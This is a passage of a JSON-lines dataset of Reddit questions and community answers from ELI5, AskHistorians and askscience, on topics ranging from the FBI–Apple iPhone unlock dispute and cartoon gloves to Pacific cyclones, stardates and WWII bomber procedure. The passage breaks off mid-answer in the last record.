{"q_id": "469hov", "title": "the technology behind the \"key/backdoor\" to apple devices the fbi wants apple to create", "selftext": "_URL_0_\n\nJust read this message from Tim Cook to Apple customers and I was wondering if anyone can further explain the technology or \"exploit\" that the FBI wants here. From what I understand they want Apple to make a new version of iOS without security features, how can the FBI or any other person/agency use this to potentially gain access to every other iPhone?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/469hov/eli5_the_technology_behind_the_keybackdoor_to/", "answers": {"a_id": ["d03c22l", "d03c9tt", "d03cbxr"], "score": [13, 3, 6], "text": ["The FBI wants Apple to disable the security feature that wipes the phone after 10 failed attempts.\n\nThe reason for this is they want evidence off of an IPhone taken off one of the San Bernardino terrorists.  As of now, it is impossible to access.", "It kind of explains it in the letter.\n\n > The government would have us remove security features and add new capabilities to the operating system, allowing a passcode to be input electronically. This would make it easier to unlock an iPhone by \u201cbrute force,\u201d trying thousands or millions of combinations with the speed of a modern computer.\n\nBasically, allow them to input passwords electronically and disable the lockout feature with failed attempts.", "[Here](_URL_0_) and [here](_URL_1_) are good reddit comments explaining what the FBI wants and what Apple can give them. "]}, "title_urls": [], "selftext_urls": ["http://www.apple.com/customer-letter/"], "answers_urls": [[], [], ["https://www.reddit.com/r/technology/comments/465qf2/judge_orders_apple_to_help_the_fbi_unlock_the/d02p9ts", "https://www.reddit.com/r/technology/comments/465qf2/judge_orders_apple_to_help_the_fbi_unlock_the/d02vwrk"]]}
{"q_id": "5m6lyq", "title": "Why so many cartoon characters from the old used to wear gloves?", "selftext": "That's basically it. I'm mostly thinking about cartoons from 1930's and 1940's. Many old cartoon characters used to wear gloves, many of which survived in popular culture and kept it as part of their designs until these days, even after decades of redesigns, like Mickey Mouse, Bugs Bunny, Goofy. \n\nWhy was that element of the overall design such commonplace?\n\nEdit: typos", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5m6lyq/why_so_many_cartoon_characters_from_the_old_used/", "answers": {"a_id": ["dc1dk3h"], "score": [184], "text": ["Toon gloves, as they are known, have yet to be explicitly explained in any literature. No interviews with any lead designers have produced any definitive answers, either. \n\nThe usage of gloves is occasionally pointed out by the toon characters themselves, like how the character Bobby Zimmeruski asks \"Do you ever wonder why we're always, like, wearing gloves?\" in *An Extremely Goofy Movie*. \n\nDespite the lack of official comment on the practice, the supposed and oft-cited reason for the use of toon gloves is to draw attention and distinguish the hands of a cartoon character, particularly in black and white cartoons where contrast between body parts is required in order for a character to hold their hands in front of themselves while allowing their actions to remain clear. \n\nThe practice continues as a tradition, though as color cartoons have arrived the need for visually distinctive gloves on cartoon characters has fallen. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4zo4pi", "title": "how do cyclones/hurricanes form in the pacific", "selftext": "I thought they need certain things to form and strengthen. One of them being 80F+ water. I was always under the impression that the Pacific ocean was cold, as in 60-65F.\n\nThank you\n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4zo4pi/eli5how_do_cycloneshurricanes_form_in_the_pacific/", "answers": {"a_id": ["d6xgmtu"], "score": [2], "text": ["Your impression is biased by the part of the Pacific Ocean that the US borders.  \n\nBoth the North Pacific and North Atlantic oceans slowly swirl in a clockwise direction (Greenland and the Bearing Straights are roughly at 12 o'clock, the US West Coast and Europe are at roughly 3 o'clock, the equator is 4-8 o'clock, Asia and the US East Coast are at 9 o'clock, etc).  \n\nIn both oceans the swirling water is coldest in the north and warmest at about 8 o'clock (after the waters have sat along the equator for the longest period of time).  Because the US West coast sits near 3 o'clock the waters of the pacific are very cool (enough so that swimming is mostly popular in Los Angeles) while the US East coast gets warm waters that have been warmed by flowing along the equator and are cooling as they move north.  China and Japan are situated in a similar location on the pacific as the US is on the Atlantic and receive similarly powerful Pacific storms cyclones.  This part of the Pacific Ocean is actually the [warmest ocean water on earth](_URL_0_) (because the Pacific is larger, so the water spends more time at the equator).  \n\nIt's after the waters have spent time along the equator smaller storms have plenty of energy and time to grow into cyclones (in the Atlantic they're called Hurricanes, in this part of the Pacific they're called Typhoons).  \n\nNote that the Atlantic has an important secondary current called the gulf stream that results in further mild weather across most of Europe.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Sea_surface_temperature#/media/File:SST_20131220_blended_Global.png"]]}
{"q_id": "52j49n", "title": "why is it that in a normal state of mind i'm able to articulate quite well, but as soon as i'm physically exhausted my ability to speek decreases to a 4 years old level?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/52j49n/eli5_why_is_it_that_in_a_normal_state_of_mind_im/", "answers": {"a_id": ["d7kqp8e"], "score": [2], "text": ["I can explain it is quite good in Spanish, but I'm not sure if I can do in English. I'll try my best.\n\nThe energy that your muscles use is glycogen: there are reserves in the muscles and liver.\n\nYour muscles start to \"eat\" muscle glycogen and when the reserves are empty, muscles begin to demand liver glycogen.\n\nHere is the problem, the liver glycogen is used mainly to feed the brain and keep it working. If the level falls much the brain fails and may even cause fainting to prevent the collapse of the body.\n\nThe way to avoid this is:\n\na) eat carbohydrates before with a lot of water, this helps recharge muscle glycogen reserves.\n\nb) train speed series, starts with great rest between each one and when you are better reduce the time off. When you're ready you could run 20 x 100 meters with 1 minute rest."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4p0q4h", "title": "how are current photos of the f-117 not distorted?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4p0q4h/eli5_how_are_current_photos_of_the_f117_not/", "answers": {"a_id": ["d4h2u4r", "d4h365r"], "score": [6, 3], "text": ["EM waves come in many sizes. Stealth technology distorts radar-sized waves, but it doesn't distort visible-light-sized rays. If any pictures of the F-117 are distorted, it's not because of the stealth tech in the plane.", "Some of the first pictures taken of the F-117 are blurry because those cameras used sonar auto focus systems. While the F-117's unique shape was designed to reflect radar waves away from their source, it had a similar effect on these sonar waves, making it difficult to achieve focus.\n\nModern cameras generally use contrast and/or phase detection auto focus systems, which are not subject to these effects."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bekgs0", "title": "I've read that French settlers were mostly male and took lots of Native wives. Why, then, do Quebec people have nearly insignificant Native ancestry?", "selftext": " I know there's the M\u00e9tis but they're less than 2% of Canada's population, and not only are Quebecois's whites but, according to a study I found online, have 2-3%. Compare Brazil which has a high mixed-race population and the white population has an average 33% of Native DNA on their mother's side.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bekgs0/ive_read_that_french_settlers_were_mostly_male/", "answers": {"a_id": ["el7befv", "el7ots4", "el84gbj", "el8afvd", "ela4dws"], "score": [866, 22, 2, 23, 8], "text": ["Yes, most of the early settlers to New France were men. The few women who came had to pay their own passage, not necessarily an easy task for single women in the 1600s, even if they were inclined to the hardships.  In the mid part of the 17th century, concerns were raised that the colony was not viable due to population size and lack of growth.  A letter from Jean Talon (at the time, the Intendant of New France) stated, \"send us strong, intelligent and beautiful girls of robust health, habituated to farm work.\"\n\nLes Filles du Roi, or the King's Daughters, were more than 800 women sent from France to the colony of Quebec over a period of 10 years from 1663 to 1673, specifically to marry settlers and army personnel. \n Most were common women, from farming families in the northern parts of France.  They were called the King's Daughters because their doweries were provided by the Crown. Records show 852 women, who apparently volunteered - though I can't find any proof of that, someone else here might have more.  The sources I've found state that more children (or more children living to adulthood) were born to the French women rather than the Native women who had married settlers.  In 1671, records show nearly 700 births from Filles du Roi marriages. Families with more than 10 children got an extra annual pension from the crown - about $6000 in today's money, a pretty good incentive. Approximately two-thirds of French Canadians can trace back to a Fille du Roi in their ancestry. \n\nThe first line in Thomas Laforest's \"The King's Daughters\", is perhaps a more succinct answer to your question: \"Rare indeed is the French-Canadian who does not have a Fille du Roi, or Daughter of the King in his ancestry.\"\n\nSources:\n\n*Les Filles du Roi*, Juliana L\u2019Heureux (1998)\n\n*The King's Daughters*, Thomas J. Laforest (1989)\n\n*Most French Canadians are descended from these 800 women*, CBC Canada, The Story of Us (2017)", "A good book to read is \"many tender ties\" by sylvia van kirk\n\nShe chronicles the opening of the west and the intermarriage of the trappers to native families.  At first it was for access to the furs for trading.  Then it was looked down on. \nExcellently written and easy to read.  Even for a dummy like me.", "My grandfather was born in Quebec, and his family was all French Canadian. How could I go about finding if any of my ancestors were the King\u2019s Daughters? Thanks!", "I might be late but it's a good question.\n\nMost of the sources cited in the other answer are not from historians. If the impact of the *Filles du Roi* had without doubt an important factor, it does not tell the reason  *why* most people in Qu\u00e9bec have an insignifiant Native ancestry. I will base my answer on what I learned in my classes on this subject at the University of Montr\u00e9al.  \n\nAt first the goal of the french colony in North America was more economically oriented and  with a very scarce population of trappers and merchants. It was under the control of a compagnie: Compagnie des Cent-Associ\u00e9s de la Nouvelle-France. This changed with the time, most notably when the king took direct control of the colony in 1663. [The original document](_URL_1_) \n\nWith this change of control came more emphasis on the population and occupation of the vast territory notably with a direct help from the king with the Fille du Roy. As /u/It-Was-Blood noted this had a big impact on the population at the time. Most importantly, the common french migrants were not immigrating permanently. On 30 000 migrants from France only 12 000 remained in the New World. The other were mainly ''engag\u00e9es'' who were payed to work for a certain time in the colony. \n\nUnder the French regime the colony and population were closer to the  natives. They were allies in wars and trade partners. For exemple, Montreal remained an important trade hub in the fur trade up until the XIXe century. Still, in the mind of the French, relation with the ''indiens'' where centered on a logic of submission. ([Notably religious submission] (_URL_0_)) However, ''m\u00e9tissage'' was not common as this was more a meeting of two distincts societies  than a melting pot.  At the time of the war of Conquest (the 7 years war) there was a real concern from french officers serving in New France about the ''ensauvagement'' of the local population. The fear of a ''barbarisation'' was more based on observations of some differences between ''Canadiens'' and french peasants more than a real m\u00e9tissage. This was mostly a result of the assimilation of traditional natives activities like smoking pipes, snowshoes and hunting. This assimilation remained shallow, mainly centered on practical techniques like the ones listed above.\n\nI would argue that the biggest rift between the ''canadiens'' and the Native population was the English regime after 1763. In the pre-French Revolution world, it was common in Europe to have a king of a foreign culture ruling over a groupe of people not related in culture. For exemple, most of the king and queens of Europe in the XVIIIe century were speaking french. In this context, the Canadian population, catholic and french speaking, needed to assert its European roots to gain recognition by the British gouvernement and, at that time, it was through the affirmation of a white European identity.\n\nWriter or religious mens like Fran\u00e7ois-Xavier Garneau and L'abb\u00e9 Ferland theorized most of the stereotypes regarding the natives. Such accusations as, that they are lazy, alcoholic, that they have no culture or history. Such bashing created a definitive cultural barriers only reinforced by more administrative segregation and discrimination. Such racism was not only the ''canadiens'' but also of the anglos. In this aspect, this racism was more a common theme than a distinction. The historian Mathieu Chaurette  really bring light to this subject in is texte ''*L\u2019opposition des missionnaires catholiques a\u0300 la scolarisation des Autochtones au Bas-Canada, 1826-1845*'' \n\nTL DR Qu\u00e9bec have a nearly insignificant native ancestry because both societies did not mixed  under the french regime and its affirmation of a European identity was seen as a way to gain legitimacy in the British administration\n\nnote 1: as you can probably tell i'm not a native english-speaker, please excuse any errors.\nnote 2: If you want to go deeper there is a text by the historian Allan Greer which places the rebellion of the patriots in a context of liberal revolts inspired by European ideas. You can really see how the Canadian society is link more with Europe and the United states. It is: *La re\u0301publique des hommes : les Patriotes de 1837 face aux femmes*", "Quebec trained history teacher. I am going largely on my memory here but I could probably dig up some old textbooks if I need to, though I will say this is an area that's neglected in the high school curriculum that I was taught to teach.\n\nOne reason might be the extreme uh, fertility let's say, of French Canadian families, which I'll address in a few places below. The other would be shifts in the relationship between white settlers and Quebec's First Nations peoples over time.\n\nLet's split this into a few eras, starting with New France.\n\nThe colonial authorities implemented multiple means of encouraging population growth beyond just the involvement of the filles du roi. Bonuses were paid to those married by a certain age and fines levied against the parents of unmarried children past a certain age. Bonuses were paid to families with large numbers of children. The Catholic Church encouraged marriage and procreation, valuing large families and fertile women and discouraging people from not marrying or marrying too late. The church, after a time, was also not big on the coureurs des bois marrying first nations women because it encouraged the coureurs des bois to \"go native\" as it were. \n\nDuring the British colonial era, immigration from France was largely cut off, but the Quebec population was sizable enough by then to be a concern to British authorities. In order to appease the population, certain concessions were made to maintain the primacy of the Catholic Church in Quebec society. And the Catholic church continued to be, well, Catholic. In this era, the stereotype of Catholics=babies was pretty accurate. \n\nImmigration was largely white, and considerable numbers of Irish Catholics immigrated in the 1800s and intermarriage and adoption of Irish orphans was common, such that many French Canadians have some Irish ancestry, including the adoption or passing down of very Irish first and last names, and you will find francophones named William living in the Gaspesie. \n\nAt this time, intermarriage between French Canadians and First Nations would have been socially frowned upon; one good example of this is famous Metis leader Louis Riel. During his youth Riel spent some time in Montreal and courted a young French Canadian woman, but her family ultimately rejected him as a suitor due to his heritage. (I realize Louis Riel is primarily a figure of the Canadian period but as this was an event from his early life it happened before confederation.)\n\n\nCanada:\nI don't know as much about social attitudes toward first Nations intermarriage in the Canadian period, but I can tell you that up until the 1950s the Catholic Church held sway over Quebecois society in a very strong way. They continued to encourage large families, conservative values, and discouraged intermarriage between non-Catholics and Catholics. In that sense, it meant Catholic French Canadians usually married Catholic French Canadians, and had many children. They might intermarry commonly with other Catholic Europeans to an extent. \n\nIn the Canadian period, FN status and intermarriage would have been governed under the Indian Act. The Indian Act was written so that women who married non-status men lost their status and were thus unable to continue to be part of their communities (they couldn't live on reserves, couldn't pass status to their children, etc.) This would have made women think twice about marrying outside the band, and would have obscured the descendants of the marriages that did occur from knowing about their FN ancestry or being involved in the FN community.\n\n\nGeneral comments:\nThere is talk in Canadian history as well about the idea of the \"revenge of the cradle;\" that until the 1950s, high birth rates were encouraged among French Canadians as a matter of national pride and ensuring their cultural survival and place in Canadian and North American society. I'm wary of this as an explanation because I can't find sources on it from the time, even though it is a popular explanation. It seems more likely to me that rather than being an intentional thing, this was a side effect of Quebecois culture that was later seized upon by nationalists. If anyone wants to expand on this idea, go ahead.\n\n\nOver time, some other factors may also have served to reduce the number of opportunities for interaction between whites and First Nations.\nThese include the devastation of FN communities by disease; the displacement of FN communities from the St Lawrence River Valley, where the majority of French Canadians lived, to further and further marginal lands; and the eventual placement of FN peoples on reserves, many of which are far away from lands where the majority of whites lived.  \n\n\nIn short, intermarriage was a relatively early phenomenon that was only common in the period of New France. While most Quebecois probably have one or two first Nations people in their family tree, they are not really that mixed in that respect. The habit of French Canadian families of producing many many children has probably served to dilute the impact of those early marriages on the later Quebec population.\n\nI hope this is a detailed and accurate enough answer for this sub."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.utpjournals.press/doi/abs/10.3138/jcs.18.3.5?journalCode=jcs", "https://books.google.be/books?id=r38aAAAAYAAJ&amp;pg=PA19&amp;lpg=PA19#v=onepage&amp;q&amp;f=false"], []]}
{"q_id": "1ayzlu", "title": "stardate in star trek.", "selftext": "How is it calculated? How many hours in a star date? What of minutes?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ayzlu/eli5_stardate_in_star_trek/", "answers": {"a_id": ["c921bbp", "c921m31", "c922soz", "c9283xt", "c928gt4", "c928lfb"], "score": [69, 12, 4, 3, 3, 8], "text": ["It's somewhat inconsistently handled in the various Star Trek franchises (like Warp Factor), but the idea originally was that every digit was one day, e.g. Stardate 1315 was one day later than Stardate 1314. The decimal points were tenths of days, e.g. Stardate 1315.1 was one-tenth of a day (2 hours and 24 minutes) into the day, or 02:24 a.m.\n\nStardate 1 was one day in 2261 when for some reason they decided to start this calendar. \n\nSource: [Stardate - Memory Alpha, the Star Trek Wiki](_URL_0_)", "It more or less depends on series much like warp factors (which even changed meaning during the run of TNG)\n\nThis explains it well (sorry mobile site) \n\n_URL_0_", "When I was a teenager I thought that the Stardate used was, in fact the Julian date _URL_0_ :-) ", "What's the length of a day based on?", "Sorta answers your question, but also fun fact: With TNG, DS9, VOY, and the TNG movies, if you take the first two digits of the stardate and subtract 40, you get which year you're on from the beginning of TNG.  So, VOY beings on 48315.6, which means eight years from the beginning of TNG (which makes sense, as it began the season after TNG finished its seventh season).", "In the original series, it was just a made up number with no consistency - not even direction.  There are later episodes with earlier stardates, etc.. If you try to correlate them to actual time, you end up with either episodes spanning way too much or way too little time.  (For instance, there are episodes that actually must take place inside other episodes, despite that being clearly impossible based on what's on screen.)\n\nFor the movies, they at least advanced things consistently between films. \n\nStarting with TNG, they made a concerted effort to keep things moving in the right direction and allocate stardate ranges to episodes in a reasonable fashion.  Each season lasts 1000 stardates, so you can assume that each stardate unit is about 1/1000 of a year, which is about 8.75 hours - close to one work shift.   Despite this there are episodes where they seem to indicate that one startdate is one day.\n\nIn the 2009 reboot, the stardate is just the year, with the part after the decimal indicating how far into the year you are.  (By that system, it's stardate 2013.230 as I'm typing this.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.memory-alpha.org/wiki/Stardate"], ["http://en.memory-alpha.org/wiki/Stardate"], ["http://en.wikipedia.org/wiki/Julian_day"], [], [], []]}
{"q_id": "84ir81", "title": "Does static testing of large rocket motors increase Earth's angular velocity, or affect its rotation in any way?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/84ir81/does_static_testing_of_large_rocket_motors/", "answers": {"a_id": ["dvq9h37"], "score": [9], "text": ["No, but actually launching stuff such that it reaches exit velocity would have an effect.  Basically you need matter to leave the earth entirely before it has an effect on angular momentum because if it doesn't then it will eventually return to earth, returning the angular momentum it stole in the first place.\n\nA rocket on the earth's surface would be able to change it's angular velocity if it were powerful enough that it's exhaust gases were able to leave the atmosphere at exit velocity.  But in this case you'd basically need to be putting a nozzle on a mega-volcano in full erupt mode in order to get that kind of power.  Even then, it probably still wouldn't be strong enough."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3aw4w5", "title": "how do people write really, really well in essays and in academic writing?", "selftext": "It seems like there is an amazing logical flow of ideas, a perfect use of word-choice, etc etc. Which keeps going on for 20+ pages.\n\nHow do these people do it? How do they write so well? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3aw4w5/eli5_how_do_people_write_really_really_well_in/", "answers": {"a_id": ["csgiata", "csgidcn", "csgift4", "csgjkak", "csgnhou", "csgrpnh", "csgshb6", "csguxn0"], "score": [3, 2, 37, 3, 2, 3, 3, 2], "text": ["Well sometimes an academic work takes months or even years to write, it's not an overnight thing. Not only that but academics who typically write very specific articles often have devoted their lives to a certain profession. That lifelong devotion and involvement really lets you dive deep into writing and explaining whatever is the topic. Plus when you have like 5 drafts you typically have an editor or the publisher does. ", "These people have defined an argument and have organized their thoughts. Once that has been determined, it's a simple matter of word choice and the use of effective writing skills. ", "Well, it starts with being very knowledgeable and very passionate about their topic.  These people talk about their ideas every day to their peers, their friends, etc.  They've learned how to present their information well, and they know where people are going to get confused, and where they need to add more detail or simplify something.\n\nNext comes practice.  I majored in fiction writing, and just the simple act of writing a dozen pages or so a week improved the flow and feeling of my writing in academic topics very quickly.  Practicing writing expands your useful vocabulary, gets you used to using different sentence structures, and getting feedback on the things you write (which you should also get often) shows you where your problems are.\n\nAnd now the big one: editing.  I don't care if you're brain-dead or if you're the next Salman Rushdie, working with a good and experienced editor will improve your writing, every time.  A good editor has lots of experience in their style (fiction, academic, etc), and they've seen every mistake possible.  And what's more, they will always fight you on the things that your ego thinks it should keep, because it's a good turn of phrase or a fascinating detail, but it ultimately messes with the flow of the piece.  Editors often go unappreciated, but can really work wonders.", "Planning.  A detailed outline is a great place to start.  \n\nResearch.  Not all the ideas or even wording has to be your own.  Quote sources, make references, show you're not the only person who thought of this.\n\n", "Practice. Use an essay formula so that the structure never changes, but your content does. That's a good technique for churning out pages.\n\nAlso, read a lot. ", "It doesn't just pour out in one go. It takes an incredible amount of planning, research and editing. ", "From what I've seen, the biggest factor in how well a person writes is based on how much they read.   Reading exposes the reader to new vocabulary and new ideas which they then begin to use in their own work.   It doesn't really have to be academic work - although in that case their passion for the subject they study helps as well.  ", "I find that, when reading something, it helps if it's easy to read, accessible, and a little entertaining. Thus, when I write, I use clean, straight forward language and make clever word choices. I approach writing as if I am giving a speech. If it's stuffy, boring, and dry, the audience is going to be lost.\n\nAlso, I ensure that topics move easily from one to the next. Every paragraph has its place and is important to the paper. Even if I go off on a tangent to explain something, it always serves a purpose.\n\nSomething else worth noting, when I'm teaching or explaining something, I often recast what I'm saying, providing different examples or rewordings of what I'm talking about. I sometimes do this when writing to help explain complex concepts. If one example is lost, the reader can follow using another."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "8xcfbt", "title": "The Pavise shield", "selftext": "How common was the Pavise shield and how did it spread? Did non crossbow wielding soldiers ever use a Pavise type shield?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8xcfbt/the_pavise_shield/", "answers": {"a_id": ["e233uir"], "score": [8], "text": ["The pavise was a pretty common feature of battlefields in the Later Middle Ages, at least in the Hundred Years War and the various Italian Wars of that time period (for German wars you'll have to ask elsewhere, I'm nowhere near qualified enough to answer for them). \n\nThe pavise has it's first firm reference in the 1260s in Italy (specifically in the army of Florence, while pavise is derived from Pavia it's not actually clear if the shield was for certain invented there or if it developed the connection later). It's probably safe to say that it was around before then, since the references don't seem to describe it as anything novel or new. We have a mention of pavises as well as the *pavisarii* who were responsible for deploying the shields and sometimes crouching behind them to ensure they stayed in place. They were closely linked to crossbowmen to the point of almost being considered a core piece of the crossbowman's equipment. \n\nThe Pavise appears in English records around 1356-60, where we have a record of over 500 pavises in the Tower of London (the Tower often functioned as an armoury during the middle ages). In 1365 we have a reference to a request from Charles V of France for good wood to be used in the construction of pavises. From this time period they became a piece of equipment popular with both sides of the Hundred Years War, with numbers of pavises in later references only increasing. In 1449 Philip the Good, Duke of Burgundy gave James II King of Scotland a massive wedding dowry which included 130 pavises (also guns, arms and armour, and lots of interesting stuff). Pavises seem to have remained popular at least to the end of the fifteenth century (we have more records of acquisitions in the middle of the century), but gradually disappeared after that. \n\nAs to what they were used for, crossbows were the start but the English certainly used them for longbows and references in the fifteenth century suggest that they were used in conjunction with early gunpowder weapons. \n\nThis is hardly a comprehensive history of the weapon, and if you'd like to read more I highly recommend reading Kelly DeVries' article \"The introduction and use of the pavise in the Hundred Years War\" which was published in *Arms and Armour* volume 4 (2007). It says everything I've included here and more, with great references for further research if you're interested. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "is2kp", "title": "What, if any, evidence is there that cracking my cervical spine by twisting my head causes strokes?", "selftext": "This question came up in a conversation here _URL_0_.\n\nNot much support was proposed for this mechanism. How valid or invalid is this idea?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/is2kp/what_if_any_evidence_is_there_that_cracking_my/", "answers": {"a_id": ["c266kuq", "c2671n4"], "score": [17, 2], "text": ["It's been studied some.  Here's a review article.\n\n_URL_0_\n\nFrom their discussion section:\n\n > Case-control and other studies confirm that upper spinal manipulation is associated with risks44-47 and that spinal manipulation is an independent risk factor for vertebral artery dissection.46 \n\nAll the studies are retrospective, but the findings have been consistent.\n\nIn terms of practice: when a physician suspects vertebral artery dissection, they ask questions about neck manipulations, minor trauma, etc.  A classic case of dissection involved a patient putting the star on top of their Christmas tree", "In case anyone is interested, this is the comment I was specifically trying to link to: _URL_0_"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskReddit/comments/iry0e/does_your_chest_crack/c265x5a"], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/17606755"], ["http://www.reddit.com/r/AskReddit/comments/iry0e/does_your_chest_crack/c26625w"]]}
{"q_id": "h4zt9", "title": "Does information in light degrade as it travels through space?", "selftext": "What I'm curious is if someone in space with a powerful enough telescope could see me from the distance of Pluto, or of Alpha Centauri, or of any distance (given enough time).  Do photons jiggle as they travel and lose information?  What is the rate of it?\n\nAlso I suppose there some distance from the Earth where a planet would only receive 1 photon from us; but if you had a big enough dish could you still reconstruct a picture of me from that distance?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/h4zt9/does_information_in_light_degrade_as_it_travels/", "answers": {"a_id": ["c1smbc1", "c1smlcp"], "score": [3, 3], "text": ["No, photons don't \"jiggle\" or anything like it.\n\nBut there are only so many that pass through a given surface in a given time. We call that quantity the *photon flux.* Whether you can create a useful image or not depends on the photon flux across your detector, and the relationship between photon flux and distance is an inverse square one. That is to say, if you increase your distance from a thing by *\u0394x,* the photon flux across a given unit area goes down by *\u0394x*\u00b2. And that's a best-case scenario; that's assuming nothing exists between you and the source of light to scatter or absorb those photons.", " >  What I'm curious is if someone in space with a powerful enough telescope could see me from the distance of Pluto, or of Alpha Centauri, or of any distance (given enough time).\n\nThe biggest problem is going to be limited angular resolution. Say you want to resolve 10 cm features to get a blurry image of a human from a distance of 4.37 light-years or 4.31 x 10^16 meters (Alpha-Centauri). Then according to the [Rayleigh criterion](_URL_0_) you need to use a gigantic telescope with an aperture and lens with a diameter of about  27 million kilometers. This is something like 20 times bigger than the sun. \n\nThe next problem is the number of photons produced, and noise due to a limited number of photons hitting your detector is commonly called \"shot noise\". If one assumes that a human reflects something on the order of 10J of visible light energy per second in bright lighting, then the human is reflecting on the order of 2.5 x 10^19 photons every second. While this may seem like a lot, the number of photons hitting an area of 1 m^2 at a given distance away falls as the distance squared. There would be on average less than one photon hitting a 1 m^2 patch of your telescope on Alpha-Centauri every million years. However, given the insane area of your stellar-sized lens needed to resolve the image, you will get 30 million photons a second, so if you can get around the diffractive limit, shot noise should not be a problem for a well illuminated human."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Rayleigh_criterion"]]}
{"q_id": "1we5t6", "title": "World War II Bombers: What was standard procedure for planes that suffered wounded crew or minor damage on the outbound trip?", "selftext": "[I asked this yesterday, but did so at the wrong time of day; so, here's a second attempt when everyone in Europe and the Eastern Time Zone is awake.]\n\nFunny that I've never really learned this since World War II aircraft were my very first historical obsession, but there you are. I'm curious about what kinds of problems would be enough to force a plane to turn back: wounded crew, for example, or minor damage? Was leaving the formation a big risk? Would the plane stay at high altitude if they did leave the formation? Assuming they were, say three-quarters of the way to the target, would it perhaps be safer to stay with the group?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1we5t6/world_war_ii_bombers_what_was_standard_procedure/", "answers": {"a_id": ["cf157o3", "cf1ma24"], "score": [8, 2], "text": ["The American rule of thumb was damage bad enough to keep the plane from maintaining position in the formation, or making it unlikely the plane could make the full round trip meant turning back. Breaking formation over Germany was almost certain suicide, because it meant any German fighter who saw the bomber would be able to line up and make an unimpeded strafing run with only one or two guns bearing on him (from bad angles). The defense bombers had before long range fighter escorts wasn't just self defense, it was the overlapping fields of fire formation flying allowed. German pilots did not like flying into one of these formations at all, but one bomber flying alone was easy prey because the Luftwaffe had developed tactics for taking on a bomber from angles where few of the guns could bear, and at a bad angle for the defense gunner to sight and shoot on. There was some discussion on that here:\n_URL_0_\n\n Ultimately the decision to turn back or not was the pilots, and the pilots (and everyone else serving) were highly motivated to complete missions if it was at all possible. A crew member being injured might be a reason to turn back, but the likelihood is this would happen so close to the target that the bomber and the rest of the crew would be better served by staying in formation, even if it took longer to return to base. For damage of any kind, either the plane could stay in formation or not. If the plane could keep it's place in formation the pilot would stay with the group. For bombers, safety (what little of it there was) was in maintaining formation. Early in the war to get overlapping fire, later because the escort fighters were staying with the formations, not escorting individual bombers.\n\n As far as sources go, besides the ones in the link there are just so many it's hard to even know where to start. I've read enough unit histories and individual biographies that this answer seems a little like a general knowledge question, at least to someone with an interest in the period. I could probably find a couple of decent items though, if you want to follow up more. ", "That's a very good question, but i'm a little confused on the part about wounded crew on the outbound flight. We'll get to that part in minute though. Also, the word outbound can either mean outbound from the home airfield to the target (which is what i'm assuming you mean) or outbound from the target area back towards friendly territory.\n\nLet's look at a few scenarios:\n\nSo let's say a bomber formation takes off from somewhere in England, and it can be either British Lancasters or American B-17's. This is where the wounded crew part wouldn't really make sense, but if for some reason if a crew-member became seriously ill while over friendly territory, then the plane would probably turn back or divert to the closest airfield to get the guy some medical attention.\n\nA more likely reason for an aircraft to turn back is due to engine problems. For the American's and the British forces, this was a common occurrence from 1943 onwards. In fact, Bomber Command became so concerned with the amount of returning aircraft that claimed \"engine trouble\" that the USAAF Office of Statistical Control (of which Robert McNamara was a part of) was tasked with finding out the veracity of these \"faulty engine\" claims. If you'd like, you can view the raw data of their findings [here] (_URL_0_).\n\n\nOn the Eastern Front however, claims of engine trouble plagued the Russian and Luftwaffe forces on the Eastern Front for the entirety of the war. From the Russian standpoint, the Soviet Union lacked a reliable engine that could sustain long range bombers (the AM-34 and AM-35 were notorious for their poor quality and for being under powered) and focus was shifted away from long range tactical bombing to close air support. Thus, the IL-2 Sturmovik became the bomber of choice for the Soviet Union, while the Stuka was the notorious German counterpart. This actually decreased the susceptibility of the bomber aircraft towards turning back, because their targets were relatively close, but this seems like more of a historical side note in regards to your question.\nAlso, weather was always a factor. This was especially true on the Eastern Front, where it would get so cold that engines would freeze solid (due to the increased viscosity of the oil.) In all Theaters of Operations, however, bombing missions were often delayed or diverted due to adverse weather conditions over the target area.\n\nNow on to your next question: was leaving the formation a big risk? Absolutely. The box formation was proposed by General LeMay in 1942, and was found to be one of the most effective ways in concentrating the firepower of the individual planes, while also raising the morale of the bomber crew due to the \"safety in numbers\" mentality. Thus, leaving the box was avoided at all costs. If a bomber were damaged by AA or enemy aircraft, then the pilot would try to stay with the formation as long as possible. If the wounded bomber were to leave the formation, the next best tactic is to stay in the clouds and run for home, because altitude at this point doesn't matter.\n\nSo let's assume we have a wounded bomber that has 